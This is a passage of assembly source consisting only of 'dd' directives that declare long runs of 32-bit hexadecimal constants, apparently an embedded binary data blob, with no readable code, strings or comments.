0FFD19B6Ch, 7DFFFFFFh dd 503555B6h, 201B5355h, 86B90876h, 0C303B77Dh, 0A00C647h dd 4C49588Dh, 37B3BBC2h, 0E188C961h, 3FFFFFFh, 265EA557h dd 5B5D5F0Ch, 0D5FB30A5h, 4955A7B6h, 4C57F825h, 0BC2D361Bh dd 0FF4E039Ah, 317FF897h, 82063640h, 873F8026h, 748A766Dh dd 4BE0F39h, 4887503Eh, 0FFFFF1A2h, 0E2375FFh, 9BB5D949h dd 0F1B1F9Fh, 0F64CB8B6h, 0FC0B133Ch, 0FFDE35B2h, 3C804607h dd 0FFFFFF3Eh, 1AC7E42Fh, 6E541CE6h, 7702376Ch, 84158A46h dd 0D953E87Bh, 191437F6h, 3AEB1013h, 0FFFFFF3Ch, 3D7440FFh dd 6153C054h, 14725605h, 6EA7603h, 614AFF7Bh, 432B0488h dd 0BF493A59h, 0DBDB406Dh, 0FFFFFF3Bh, 8CC50FFh, 55F94D78h dd 970022C6h, 0D1661774h, 0C04BEB2Eh, 3B643C2Bh, 145D6F61h dd 7594522Bh, 0FFFFFF28h, 0FFC27FFFh, 2B2E486Dh, 402B5906h dd 794B0375h, 0BD2BC6B2h, 2B44DB73h, 647E8B69h, 0F7034340h dd 0FFFFFFABh, 6C873CFFh dd 130664B9h, 801A3B06h, 0FFECD9EDh, 2EFF2B7Ch, 3E800575h dd 2C0E742Eh, 0B04359C6h, 0FFFFFEB0h, 0D7E70FFh, 8BAEBF28h dd 2DD3D41Dh, 0B0BF6D97h, 3C8D4AEBh, 0B307272Eh, 4BA41739h dd 26B290C8h, 97FFFFFFh, 0B77B659Dh, 0B03F6E85h, 55B3794Eh dd 85852EB1h, 0DC58686Fh, 7D800A7Ch, 0FF042000h, 0E2FFFFD2h dd 4A1A9702h, 1F5BE67Ch, 0D272595Dh, 408D5B6h, 0E140DC0Dh dd 0E3BB70B2h, 0BFFFFFFCh, 0BBB660F4h, 2A740C58h, 0B64B3761h dd 6274DB02h, 0C090B1DBh, 0B86E165Bh, 0BF501806h, 43FFE941h dd 0DA371547h, 0CDA5F61Eh, 92E703BDh, 37213132h, 0FFFFFF01h dd 83880FFh, 0DAF64817h, 32EB5020h, 0DFC4DABh, 8AEDD8D7h dd 885EFF06h, 0A6E2F501h, 0D2CEBEA7h, 0FFFFFFFBh, 0CEB00FFh dd 41706856h, 0FF53B748h, 903B6ED1h, 849F0F8Ah, 88A67C9h dd 5005215Fh, 76D6B1F7h, 0FFFFFF8Eh, 6BF980FFh, 8A400A40h dd 2D1E380Ch, 0ED7F7EF0h, 45ED3355h, 0A3112D39h, 0C55FB054h dd 0F4B0E37Fh, 0FFFFFF30h, 35035EFFh, 0EBD6D64Eh, 74C8A13h dd 6C2DC966h, 137AF9D8h, 0CCE3813Fh, 48B58ED6h, 0E47F2E8Fh dd 0BC2FE08h, 0C2D111FCh, 61EF7FAFh, 850D2BCDh, 2858A3C1h dd 0FFFFFEC0h, 0B09097FFh, 0F02FAFBh, 0C748B387h, 138606C5h dd 672CD753h, 1F3B29AFh, 0C0BF9316h, 7FF1BDF7h, 0D932F7EBh dd 7724FAC3h, 80127B7Eh, 4F971AB8h, 6F09FB85h, 8CBFFFFCh dd 8A7B6774h, 0BDACDACEh, 0DCE64F0Dh, 0DE20C1CDh, 40DEDC83h dd 0E3EA0B7Ch, 39FFFFFFh, 59888A7Fh, 0DFDFFDF0h, 21E5EDEBh dd 0A1C88B80h, 64C06B19h, 53F9F799h, 0FFD7F7F0h, 1574BA2Dh dd 107E9014h, 217C3253h, 0BE15FC9Fh, 0FA5FFF07h, 5F5D5EFFh dd 6174A5Bh, 0EB3C097Ch, 67936BE6h, 0DF7D4608h, 81F9DD02h dd 0FFA5C8ECh, 0A6FFFFFFh, 7492570Eh, 520B8705h, 0A6B78D78h dd 0AF55106h, 0E577F75h, 263F6B0Dh, 0B2F9C338h, 0FF683D84h dd 0FEB702h, 7B5DFB6Ch, 0F6344647h, 0B8A1CB59h, 16C64D6Fh dd 0EB7FFFC3h, 0DBE05BFFh, 0EB5FF6CAh, 0C852119h, 67FBA06Eh dd 8B15CA0Bh, 24BCB504h, 0C6E36F46h, 0A1AB7FFFh, 0E6FF645Ch dd 1EEB2609h, 0EB58646Ah, 0E112A1Fh, 0FFFF4907h, 9F6CFFFFh dd 39B8A343h, 0F8EBD8CEh, 3C1710A5h, 3E5F078Ah, 0AC91F730h dd 0FEF03597h, 0FE814746h, 0FFFC2F5Bh, 271D67FFh, 14C6FBDBh dd 0F0DB1900h, 13737C36h, 30353937h, 0D6295F70h, 0FF5F1B30h dd 6BFFFFFFh, 501D7B6Fh, 5F1A4476h, 0C806F0FBh, 1E818D46h dd 0DBD3BF83h, 6A922DF4h, 505CBA03h, 0F1288D8Dh, 56FFFFFFh dd 67857EF8h, 0D16F1A0Ch, 0B6F04D14h, 66C9BAA9h, 50F01237h dd 374EC549h, 0FE653368h, 0F4BFFFFFh, 0BA056A37h, 2016F514h dd 595F84C3h, 0A1092D6Ch, 22970ACh, 0D91C3649h, 29EA631Fh dd 360DFFFFh, 86859BA3h, 0EBC52A5Fh, 723AE35h, 945F813Dh dd 0FF373817h, 56817FFFh, 153F0D7Bh, 302D2C70h, 3067BFCh dd 946D7948h, 1FF0B74Ah, 55B10F7Eh, 0A5FFFFFAh, 0B730898h dd 8D82327Fh, 0FC7D83C6h, 4A6D051Ch, 58B45EC7h, 0F0037E10h dd 0B9E9B0ADh, 4FF6D188h, 0FE54C903h, 0FFFFB42Ch, 2EBB7FFh dd 0B72236B1h, 0B0C20C80h, 0A4D94C8Eh, 4C52160Bh, 0D1D18218h dd 3ACFC234h, 0FF0B8918h, 72D06FFh, 0DA4CBFC3h, 0EA2546B7h dd 685001E3h, 4DEFE4B5h, 0FFE1701Dh, 4889097Fh, 0F76BC708h dd 0F80440BAh, 22D006F6h, 1FB5E50Bh, 0FFC68096h, 70B3F36Fh dd 4CA1D338h, 0EEA60D98h, 0C98DF87Fh, 3BC01FFFh, 7D3674ACh dd 0B0FA9E4h, 0CB136C67h, 1290BEh, 0C8FEDFFEh, 2AD0E499h dd 1F66810Ch, 2FD2FBBEh, 2BE4B1BDh, 7FFF9BC1h, 3479F803h dd 0F2CEE478h, 0B545FB0Dh, 2325C845h, 304AF8C8h, 2CFFF006h dd 0F48AC817h, 0FA6AF0F7h, 7AD61BF3h, 0FFFFFF32h, 591C7606h dd 6B54FA55h, 1C0AEF2Bh, 13A025EBh, 853B7E1Bh, 8A117428h dd 0FFFC1A0Ah, 380F84FFh, 5C2D080Eh, 804266E0h, 0F7F23BEFh dd 95E3A80h, 0CA350FC3h, 0DC01BFFCh, 9C76D5A8h, 676DDF0Ch dd 0F312B02Dh, 60E2A05h, 9501F4B0h, 99ED9C7Bh, 0FFFFFC4Bh dd 18A0C1Dh, 23A0CE6h, 0FF4241A2h, 0DB684E1Ah, 81EE75B6h dd 0C5A00601h, 4FFFFC6h, 0F8D83A28h, 75899E24h, 0FA3FBAF8h dd 0DBB13D53h, 0FF281E68h, 3BFFFFFh, 9D2307DEh, 3C4B6CD8h dd 33180FF4h, 0DFF429D2h, 0C82D2FFEh, 83D0C183h, 0B7709F9h dd 0FFFFFF88h, 42D8D9FFh, 0FFA8346h, 86DBE772h, 0F6ED285Bh dd 7D040EC6h, 9BF07403h, 0E198581h, 102AA6D8h, 0FFFFFF6Bh dd 6B99C9A5h, 0C53297B4h, 89D0115Ch, 0B9507010h, 3BB028E4h dd 5025B875h, 0C0D5C38Eh, 0C0FFFFFFh, 6A299D87h, 0F40E0C14h dd 0DE363DC8h, 5045E2DEh, 1688097Dh, 72D945C6h, 1BFFFF18h dd 0DE1BEBBCh, 516A28E3h, 16A51D8h, 5051FC05h, 0F426EEC8h dd 0FF67684Ch, 7FB7FFFh, 50F32B41h, 0C0D8CF1Bh, 0F03BA5F0h dd 4E74ECB3h, 4483F47Eh, 0F303FF89h, 0FE3E1C8Dh, 8DFFFF16h dd 5C570834h, 1B46CFC4h, 0CB2BEDFAh, 5C4C143Bh, 0C9BB1B73h dd 0FFFFFE7Eh, 6D392DFFh, 792BC3E9h, 148A2F03h, 40108833h dd 7CF13B46h, 97B76DF5h, 5B49E85Eh, 78FD2FFFh, 2B0EBF10h dd 1549F3DEh, 0AC1FDC48h, 0F57D27BBh, 0F575A063h, 0F4FFFFFFh dd 513E0C8Dh, 1B875D90h, 120FB3ECh, 2559F887h, 6A70C31Eh dd 0B5594C85h, 7F86440Fh, 87BFFFE1h, 0A21C59F4h, 557F4BBh dd 289EDCB7h, 25312557h, 5F3417E2h, 0FE44E19Fh, 0EFFFFFFh dd 0D1F50E01h, 8541FA33h, 5E5C0DC2h, 4E9F50F4h, 0DB1E493Dh dd 76E058E8h, 8826D839h, 0B7FFE45Dh, 0BC3905FFh, 377D390h dd 3C41E063h, 0FDA17DC3h, 0E6E597h, 0FF3C0C7Ch, 5AFFF4BFh dd 9B1E087Fh, 6EB37EAh, 6E5F6B1Eh, 7C41FBADh, 0C317040Dh dd 859AE883h, 5FFFFFFFh, 300777E8h, 0D00304C3h, 8082D285h dd 0DEDB612Bh, 50E589D1h, 46E45588h, 0FD2FC5E5h, 47F9E0FFh dd 786C1BCh, 0C34774F8h, 9C8F903h, 20FF35FEh, 16FFFF2Ch dd 0CE4342BFh, 0E93BCF2Bh, 0FE2D1144h, 24FE3712h, 8862DF2Bh dd 97473B0Ch, 48FFFFFEh, 0DCB2C175h, 8D17F0B0h, 7C2DFF48h dd 0FB2B193Dh, 87966907h, 371BE45Ch, 0FFFEB7E4h, 2C2CD3FFh dd 3F419424h, 6DBDC31h, 405F43DBh, 0BBF8A1C9h, 7D390405h dd 5C7EDB51h, 12FFFFA0h, 7E464109h, 0F8F3EB08h, 0AE047705h dd 0C120E976h, 0B7600BBh, 810BFA35h, 4AAC1CCAh, 0F0741DFDh dd 7FFFFFE8h, 6806F4FBh, 8FC76ABh, 0BD2BC82Bh, 1DC2CD6h dd 310EA04Eh, 0C152DE2Ch, 0E42510AAh, 0FFFF9756h, 977E40FFh dd 30DEC4Bh, 7D602568h, 0E8053D81h, 7D721103h, 2275853Bh dd 37A1D917h, 0FF12ADFFh, 0E50ADB52h, 25FA35AAh, 0F5EB32EFh dd 0CC98AD00h, 0FFFE3F68h, 596DFE37h, 3C6B641Ah, 818551Ah dd 0ECCB6C18h, 1B5694EAh, 101C8C4Ah, 0FF60D829h, 0DFDFFFFFh dd 0CA949D58h, 28F5A8DDh, 8E68D195h, 47587B09h, 531623EFh dd 1CA26650h, 4D2468DCh, 0FFB7E837h, 0B0B38E9Bh, 804C5353h dd 8BB7DBF1h, 0F18B6559h, 785EB7E1h, 5A75FFA3h, 0AB10B778h dd 20C6282Fh, 73208E54h, 0FFF33017h, 4EB7E37Fh, 8F29B302h dd 3BDF0913h, 0A31F15D9h, 0FF3274CFh, 0DA2E6435h, 0F02FFF0Bh dd 1C3E0942h, 2404181h, 0D42E2FBEh, 7D64095Ch, 0FFFF06DFh dd 0F740FFFFh, 0DCBB3D58h, 0FE496725h, 156C1D39h, 6ED8BAD1h dd 26160A74h, 1738117Fh dd 455D4390h, 2FFF5828h, 616FFF0h, 7035363Ch, 666684F4h dd 0BC02E539h, 7A5FF07Ah, 897ADA64h, 0FFFF041Dh, 3BBDFFFFh dd 498FB798h, 136805C7h, 6A9D201Fh, 0ED8E0FFh, 2F943AB3h dd 2113E0B0h, 381B3C25h, 0FFF120FEh, 0A20E817Fh, 0EEFC87AAh dd 305D5D1Bh, 0F18B262Fh, 0C6C46C3h, 0F46F7FF0h, 0D8BBBD1Bh dd 4EE2C83Bh, 0B9037310h, 0E9C1CB49h, 85FFD1BFh, 0C114491Dh dd 0BFF8EFC0h, 3FE083C2h, 5F406A3Fh, 0ADA9F82Bh, 4CAFFFFFh dd 7731830h, 0D4AF0453h, 89DCA8C0h, 0DCBA9506h, 0FFF84DD9h dd 0D2187FFFh, 6B6A120Ch, 0B25A37FFh, 40FB83CCh, 0FB8B2A72h dd 3906EFC1h, 65702F26h, 0FADFFF9Dh, 83298A17h, 0EB8340CBh dd 40F757DBh, 51DB754Fh, 5618C683h, 0FFFFDC23h, 944542FFh dd 9DC0BB78h, 593F6A7Eh, 77548D80h, 0E18002C6h, 83D817D6h dd 0FD4A3042h, 263302FFh, 5200C457h, 0B60E21CBh, 4C7E8D1Dh dd 0FD2FFD52h, 6CAFF985h, 18262D81h, 27F85ED8h, 973BB65Bh dd 6FAB4E53h, 50315BFDh, 83541405h, 0EA13EC7h, 50780CBAh dd 52FE897Fh, 406C867Fh, 79447C56h, 0D5BFE85Dh, 0FFFF7122h dd 8BFCEADFh, 33DA4079h, 0DAA923DEh, 6FE0503h, 8D113CBFh dd 0E6781394h, 56FFC1D7h, 7C2FFF8h, 0A3E0D703h, 33EEDB6Fh dd 0CF1B23DFh, 33B4DF29h, 0B4A1B756h, 0FFFFFFFFh, 8B6EFDCDh dd 0CC6C128h, 1D23F203h, 753F0819h, 52FFD6Fh, 70DB3BBCh dd 0CFC12420h, 7D89080Fh, 0FFFD1BE3h, 2EDA36F4h, 4EAE76EFh dd 0C585157h, 0C14EEE1Ch, 9FB6030Ah, 702B7837h, 6ACE1AE0h dd 0D0A33FEh, 0FFFF816Dh, 0F037FC1Bh, 4A03FE33h, 560FAF12h dd 0E6DB118Bh, 763395FEh, 0FA23FC55h, 0FF0B1A1Fh, 7114D2FFh dd 0EB5D6655h, 6587C62Ah, 3872FA29h, 6D818FCh, 0FFFA18FDh dd 1F53EADFh, 8BA8F813h, 0EC7C1C58h, 735ED776h, 0F7073B3h dd 0F5762581h, 4E17FFFFh, 95017936h, 7E73FD46h, 0E4019B76h dd 98D820CDh, 0AF246980h, 0F4BFD6F7h, 0C9F66DBFh, 5BB128DDh dd 0EF24E780h, 2C33439Eh, 5CD7BE70h, 0FFFFFFFFh, 0CDE4A89h dd 2230FC72h, 846B9011h, 3C5AD9BFh, 71933472h, 788BFD98h dd 0AEBB5A38h, 72383689h, 0FFFFFFFFh, 58F45D03h, 6DA0438Eh dd 0A679DB63h, 33783CECh, 5603F71Dh, 0BBD737FBh, 211E355Ah dd 0C149B408h, 0F46FFFF5h, 86BB72CEh, 0C3DFC33Eh, 0FC34F85Dh dd 6BC60495h, 62F2F62Dh, 0BF1BA170h, 305F663h, 4FA931D6h dd 70777173h, 2FFFC0BFh, 40B34067h, 610966C0h, 75C0DF1Bh dd 7000199Fh, 5E5AB8C2h, 1B6FFFF6h, 6FFDD734h, 0EC7C116h dd 23F71CC5h, 308533F2h, 0FF2E0568h, 79FFFFFFh, 0E9B6C7AAh dd 1B6B610Ch, 68F37B98h, 2F105D14h, 686B5CD6h, 66F201CDh dd 44145328h, 0FFFF3C02h, 9D81FFFFh, 0E6E4A777h, 1070D8A1h dd 0D3FBC869h, 0DDE4A6E7h, 6924D290h, 21E1CDE6h, 212FB938h dd 0FFFFD66Fh, 3707FF6Fh, 6E0C66C3h, 69D5E6F2h, 0F4D50D87h dd 5A14ED20h, 0CDE15945h, 0E9053400h, 0BFFA9E3h, 68DFFFFCh dd 8FFDB737h, 708BDE58h, 20DE0308h, 0F833D930h, 0E403BBC8h dd 0A37EEFA3h, 6F5A12FFh, 676F02D9h, 9FB988E6h, 0F1753072h dd 17F16D6Ch, 5E3031DAh, 14CC8D2Ah, 161B7D78h, 6FF1BFE3h dd 1BFB1CACh, 0FFFA3942h, 0B6E0CFF5h, 0A43AE9C6h, 0FFFF1A33h dd 36007E17h, 696FBAD0h, 0F681F803h, 0B538771h, 138BFA03h dd 73630FF8h, 0FF422ADCh, 332CFFFFh, 23C0097Eh, 3B9B6122h dd 6D9DDB34h, 9A8B1073h, 46384E6Eh, 0EBCDEEE3h, 44E85FFFh dd 5EE5D4B1h, 0E6B45A17h, 73E416B6h, 6CA7BA7Bh, 0FFFFADEFh dd 0D41C7FFFh, 447F6F7Ch, 54A4BEEAh, 0B259FB10h, 7CC421ADh dd 0DECFA979h, 0A952244Bh, 7A7C98B9h, 0FB7FFFFFh, 0C30C1633h dd 601C8DDEh, 8EF6BB4Bh, 0B2C87275h, 702892FCh, 34BEBFBCh dd 97D0B6D8h, 0FFFFFF85h, 7EC6C80Ch, 0EB38609Bh, 1327E40Eh dd 0A127FAFCh, 0FB0B0CEAh, 0DC1F77D9h, 0F52F4AEBh, 0D4EFFEA5h dd 0DB1F2D78h, 78185262h, 24831D05h, 46FF1042h, 130B4BEBh dd 9C7D75BCh, 2EF6C1FEh, 0D4D0397Ah, 8B7B7E36h, 3CC96DD9h dd 327887Ch, 6B99E5F0h, 8097B776h, 3F971A17h, 458BC2D8h dd 0A27CD484h, 0A5FFFFF6h, 0C773B61Fh, 0DDEF6F19h, 0E86BD857h dd 0AC56656Ch, 0DF3D66C4h, 0FFB2D3F7h, 79B7FC4Bh, 16D8300Bh dd 224440FCh, 0D6065B3Ch, 84A0D701h, 0FFC24416h, 0CB99FFFFh dd 5CBBCB35h, 432AFF97h, 0B016DE0Ah, 1BBCB35Ch, 23A759E4h dd 0DA0FAB94h, 0FFFD1B3Dh, 5BD9BB85h, 0A039E0DFh, 590BFC93h dd 0D6737921h, 0E975F013h, 59C3F1BFh, 0C977655Bh, 0CC92DC9Bh dd 19D88F0Ch, 5FFEFFEFh, 66D4BFFAh, 5DD1D448h, 0CDB78584h dd 5BD03490h, 6FA87E4Fh, 6F24E0F8h, 0BEDA386h, 0FE2CED17h dd 0A3014387h, 6F333B9Bh, 7FBBFEDFh, 0C44E0811h, 3C487E82h dd 35C0F753h, 37BD3AF2h, 0BBE85F43h, 0FFFFD7D2h, 0BC2AFB7Fh dd 6D86D391h, 8BEBF0BBh, 51EC0319h, 894D6204h, 0A9695109h dd 279D0CD4h, 0FFFD5141h, 0A214FF4Bh, 89CD6EDDh, 0B851019h dd 189919E1h, 60867816h, 0D1F01D82h, 0A37CD03Dh, 0EB604BD6h dd 5C5A6E30h, 4F04850h, 2FFFFFF8h, 6F7BB2C9h, 0B58D56E7h dd 4C0A1014h, 39D6755Eh, 3163433Bh, 0CCC9E968h, 7A17C551h dd 4DFF0223h, 0EBBF21B9h, 6FFB0F11h, 8A8DBEB4h, 0CC42E089h dd 274554Eh, 404A0888h, 0FE174332h, 0FFA0706Fh, 0E0BA3869h dd 0FB90C8Eh, 0F613DD8Ch, 0A144A681h, 46DCFFFFh, 310B02EFh dd 0DE37C53Bh, 0A28F77A2h, 22C76B0Ah, 0BFFFC6FFh, 0BC1B0336h dd 5C6A954h, 3D74F4EEh, 0DBADE473h, 0D4C4308h, 0FF5AE80Ch dd 0FFA970A0h, 4F6B5E12h, 0BF518DEAh, 791369C8h, 0FFFFD65Ah dd 0AC8DB2DFh, 0F9144A8Dh, 3B4020C2h, 5875EC55h, 174CD783h dd 0CEDFE22Ah, 0A5FF528Dh, 0A93F9DFFh, 352994B6h, 0DFC78061h dd 0C5CA459h, 0FF1D0A47h, 0C8FFFFFFh, 0C2E295A8h, 3241D74h dd 0A93047CFh, 13DADA97h, 972BB92Bh, 118A07h, 0B52ECEDEh dd 0F5BF4E41h, 7F12FFFFh, 0AD2B2AF5h, 980C4501h, 48D0ADEDh dd 0E3C1B9C0h, 62731404h, 32ED13A3h, 0FFFE17FFh, 683B9A39h dd 0DFD56DCFh, 0C509231Ch, 4A4ADB29h, 604C6ECh, 0F837BC6Bh dd 0FFF5C207h, 54B3FFFFh, 3910DB9h, 895EF3B3h, 1CC11A66h dd 0E9081B08h, 7FC2BA3Eh, 5304CBC3h, 17FF5F8Dh, 7CE16FFEh dd 2240FF1Eh, 5AADAD2Eh, 52850F71h, 0DB677ECFh, 0FB416C2Fh dd 0AB7F5683h, 44703FFFh, 1F492E76h, 85F196B4h, 86567FFFh dd 0C3695DB7h, 0B601237Dh, 0DD2718BAh, 89FF9817h, 0C2FFED7Ch dd 14A9BFFFh, 0FC2F0231h, 575EDC2h, 0EE7CE441h, 7DE80339h dd 5B7D6C5Fh, 0DBFFDA3Bh, 0CB60FFFFh, 167EC1EDh, 0BB065C4Fh dd 51124821h, 4FD5DFE1h, 3D7EC2FAh, 397EC73Bh, 0BADF5F85h dd 15B8FFD0h, 0FF8398BFh, 36307C07h, 353B19B0h, 7B82F713h dd 8B706FFFh, 1584FEABh, 0FA81DE56h, 0B30A98FEh, 0E972635Fh dd 0FFFC2F6Fh, 0C6500F30h, 0CD506717h, 0FB083A17h, 37870808h dd 0C3B9B05Bh, 0BADF720Eh, 10B8FFC4h, 0BA1CBC03h, 3B4B8FEDh dd 0BD6A710Eh, 80086802h, 0FF52FA97h, 3180685Fh, 0C63F544Fh dd 0A6840FBDh, 1472A33Ah, 0FFFFFFFFh, 0D9D08B0h, 25A2601Dh dd 0C9A2A0CCh, 0D4AD80BBh, 1FFFFDC3h, 516CC58Dh, 0D0741DB9h dd 0A1F49EBFh, 0FFFFFFFCh, 9D68D7FFh, 3CBC5361h, 1C3D6174h dd 916F5A73h, 0AF47FD05h dd 0A000257Dh, 4B199106h, 0FFFFFD68h, 0BD474BFFh, 8B3A432Dh dd 0DC4C13B5h, 0A1A256F8h, 975F42Dh, 0B0009981h, 6E09AD6Eh dd 0FFFFFFABh, 951E77CBh, 504F356Ah, 6D8ABA53h, 0F0303AC1h dd 409F0460h, 0BF5631Bh, 0FEAD5B32h, 0D55B7F0Bh, 0C8E0307Fh dd 207E831Fh, 99820F28h, 0FFFF92D7h, 8EE3EDFFh, 0FFC90DDDh dd 742C5E38h, 0FFC4921Bh, 7D617FF6h, 2C06D010h, 8B02752Eh dd 0FFFF40C8h, 0D238897Fh, 0CB3BE975h, 0DA88057Dh, 0D34BEADEh dd 0F6A1BEBh, 502D316Bh, 5FFFE870h, 796DFFEAh, 90BF9A66h dd 38E1A009h, 0A652111Fh, 3E22357h, 0D750A00h, 0FFFF6181h dd 9770FFFFh, 0AE454A0h, 6A52F587h, 1559BD8Bh, 45B46844h dd 0F8273141h, 0B9AEBF57h, 0CA5A88Dh, 8DFF4034h, 0D601FFDAh dd 0E17DE944h, 5B63B61Dh, 0B229C49Dh, 0E3608599h, 0FFFAB359h dd 0C016FFFFh, 47232472h, 4885C89Ch, 0D03217B6h, 0D8127274h dd 6590B0AFh, 8C59E05Fh, 2FB6C90Fh, 0E637E055h, 2E438112h dd 6C14ABE8h, 0FFFF60BFh, 0B7BEFFFFh, 0F4212174h, 64CEAECDh dd 444402A6h, 0FD5B21CDh, 4639850Dh, 0EB357720h, 0D508DB0Bh dd 0FC2F3382h, 0A1C0FFFFh, 7D84F613h, 6D463A57h, 1B580A51h dd 0EE0F016Ch, 2727E90h, 598F1F1Ch, 0FFFFFFFFh, 5B64735Fh dd 6C076992h, 7E360C1Bh, 0C9E3AC0Ch, 4EA511D0h, 99CE132Ch dd 1601F18Eh, 481D8B5Ch, 0FFFFFFF4h, 30E08585h, 0BB2BECF6h dd 0BD8D08D3h, 0F7B04F0Eh, 80492785h, 1274DC3Ch, 27C4F868h dd 0BDBE05FFh, 1570F65Ch, 0C11FCC1h, 0D108CFA0h, 0A468B0h dd 0FFFF76C8h, 0E63DFFFFh, 5959D028h, 501B9D2Ah, 0F5D82375h dd 0B4319351h, 756AFF1Fh, 5980A03h, 9323EEE7h, 6FC66DC3h dd 9D3FF85h, 1ECC39B4h, 0A3A746C0h, 0CCBDEE74h, 0FFD5693Ch dd 18837FFFh, 4619AC74h, 911EF96h, 0D9119ACEh, 0C690D916h dd 0CC91BF50h, 0FC1B8FC2h, 0D84DDBFFh, 7410A5B7h, 294B6A1Eh dd 6BAC3763h, 0D22248F2h, 0F56F7EF8h, 57BBFFFFh, 941EB60Ah dd 162D7110h, 57BF4C1Ch, 0B7953D8Ch, 55445CB8h, 0FFFF2758h dd 0F04BC40Bh, 0CC8C1Eh, 0E09B2253h, 7C53324Ch, 0D6F33BC0h dd 0FFFF5B3Ch, 690B8DFFh, 0C4FECD24h, 0C1337B33h, 0E0841D2Dh dd 5F0230E6h, 0CFD30E57h, 602A42D6h, 0FFA17FFFh, 8BC3BC52h dd 1AFBAF35h, 746CD980h, 231A051Fh, 6C37C404h, 4D88AF00h dd 0FFFFFFFAh, 6C4475D1h, 4BFBD6FFh, 5F686DB4h, 0C7E06807h dd 478B78EBh, 0B1B13764h, 604FBADDh, 0FFFFAB76h, 3970D2DFh dd 3A702364h, 0A4B62138h, 59AD92E0h, 5FF6037h, 1BADF6Eh dd 7FFFFFF8h, 44532573h, 3E141873h, 0E0055488h, 0A5DB1C38h dd 553E8AD8h, 0E8721346h, 0FF067640h, 0B9B7FFDBh, 2F3409B9h dd 4583F918h, 2B99BA65h, 0B67564A8h, 96718CE5h, 0FFFC8CC7h dd 0B58AFFFFh, 7C14746Fh, 71835FE8h, 0A574C583h, 0B84958h dd 0FC684146h, 0A8F13675h, 196894h, 6FFFFFFFh, 66CAE82Eh dd 21A80B1Fh, 6C1CFE80h, 751C2CC1h, 2EA86A4Fh, 9DC1A501h dd 88DB819h, 2FFD4BAh, 8774F62Ch, 58933DB7h, 84F5341Fh dd 0FFFFFF49h, 189BB85Fh, 74229D38h, 0BF2E2A0Dh, 2DA43C23h dd 0B8930214h, 788D892Ch, 459F6322h, 0FF46A935h, 48B8FFFFh dd 0DBA3B899h, 90BD3D6Ch, 5E84BEA8h, 833D41BBh, 0FDF03CB1h dd 0FF9CDE56h, 6BFFFF1Bh, 139C0F32h, 0C698EF50h, 0D91B4558h dd 9E049B30h, 1B2461F0h, 92319B9Fh, 0FFF817FEh, 99490C71h dd 0C3B92D08h, 1A530A2Eh, 0D71719D7h, 0DEBB2596h, 0FF1250B8h dd 88B7E85Fh, 0D9E336A5h, 56A5CB2h, 6B48696h, 3FD1839Dh dd 0FFFFA302h, 309FF5Bh, 8A491B77h, 0D5BABEE8h, 0D92F7BE6h dd 920FB7BBh, 0B9B26BA4h, 0C9D8ADFh, 0FFFFE37Fh, 17B96468h dd 0EC61BF9h, 6624DEE9h, 430FC60Fh, 5B7B2600h, 9C4332F8h dd 0FFFF8D4Bh, 456AFFFFh, 0A71E73EDh, 6CAE4468h, 6B1FA0D6h dd 272CFE40h, 5172BFCh, 5EB77C5Ah, 94668391h, 0FF811438h dd 6F2AFFFFh, 0C41C73C2h, 356FF6C6h, 0ABEE7D8Dh, 2066AABh dd 4166FA01h, 29768DD3h, 746F817Ch, 19A04B92h, 0FBF5F3BFh dd 0A91FA4BDh, 2FFE8DFFh, 0A808CF67h, 6669506Ah, 0E56FB70Dh dd 981EDCECh, 6AEE0E66h, 0D6FF6FFFh, 538D8D10h, 3D3E3659h dd 0A6E8299Eh, 3D174010h, 5621114Ah, 6FFF734Eh, 180BFFFCh dd 5EBB9002h, 0C1A1161Ch, 0C0C5A269h, 5BB0CBA9h, 4141710Fh dd 18424B94h, 0FFEDFFFFh, 0B2440A42h, 26AC6E67h, 52B06808h dd 74BA66D8h, 3871572Ch, 7866D57h, 6CE293Bh, 0FFFFFFA9h dd 5E00FCC1h, 0BDCDED19h, 0F6408C18h, 24741520h, 0E5FA3B04h dd 187419E5h, 0FFFAEF50h, 0E46E625Fh, 0EB817CA1h, 0CFCC0A13h dd 678A1DFh, 574A10Ch, 0FFF42FA1h, 5CC6F85Fh, 3A36561h dd 800DC8D0h, 7E96B518h, 8BB4C914h, 2DF0B625h, 715F12FEh dd 0E7493A3h, 0C2819969h, 0C6FFB745h, 0F2E6BFFFh, 0C17F275h dd 0CD70168Dh, 0A038EB3Fh, 57360B25h, 0ED66DEFEh, 0FFFF855Dh dd 0A72ED5BFh, 635553EAh, 2623441Dh, 8A0C3E23h, 740D2716h dd 0E1892858h, 7FFFC1DDh, 88E1FF8Bh, 0F143EBFh, 0E2BCD486h dd 9BED9006h, 0CE525A85h, 46B70FC3h, 4BFE5002h, 0F12CFFFCh dd 0BC990A85h, 1076D283h, 0BFABE183h, 8E3C046Ch, 1A0C4F0Bh dd 0FFE0A5C0h, 0F0401ADh, 0E26CA4BFh, 2BB755BFh, 0FFFF1FD9h dd 7818A17Fh, 0B6EB2387h, 85F87D87h, 0C76D086h, 49797510h dd 8B6DB347h, 0FEDEC050h, 0E809FFFFh, 700B0702h, 1E1BB605h dd 0F80C15FDh, 82DD08C9h, 0C325BB9h, 3406DF05h, 0FFFF4513h dd 0BCAD3F17h, 0DBB42CFDh, 0C5243A74h, 0B21029EBh, 2A7C8C8Ch dd 0BFFFFFFFh, 0EBE31D46h, 0C70F132Eh, 7B181153h, 41B49AAEh dd 3D8378ADh, 0EF81FE60h, 0E1374234h, 0DBFAB227h, 1C1EEADFh dd 56AB98B4h, 24561B32h, 2C9EBA52h, 25BEA0D5h, 32DC6FFEh dd 34E8A0BFh, 0F300E462h, 98EB7A8h, 0E36AC2C4h, 8B23FFFFh dd 2E6C1F3h, 82164F8Dh, 0B3A38715h, 0CB1D3B47h, 0E9B7EA68h dd 0BBDFFFFFh, 6C08E0E2h, 0B75DB30h, 2698B89Eh, 0E7709C7Ah dd 6462A5C8h, 20E1B0FFh, 7FFFFFFFh, 45CF60A4h, 0A19D6EBh dd 0DC7F08A6h, 0E674F742h, 5057E4EDh, 864B08C3h, 2E4D2C8h dd 0FFF0461Ah, 0CBD0897Fh, 3CAD93C0h, 74C44AE4h, 374832B5h dd 98F871B2h, 0FFFFAC14h, 0B812FFFh, 0C4F4C774h, 0B9341D68h dd 9681B757h, 0A33C398Ah, 0F1575E8h, 4CCD6CF0h, 0C5BF824Ch dd 7CF0FFFFh, 11B0EE02h, 32701AABh, 0B35E4068h, 157205BDh dd 5C0D32D3h, 0A360D707h, 30DEE217h, 0E331130Bh, 0FFA652BDh dd 435A97FFh, 0E6A55083h, 0A91B67AAh, 1311910Eh, 6C635980h dd 40A541B6h, 0FFF8156Fh, 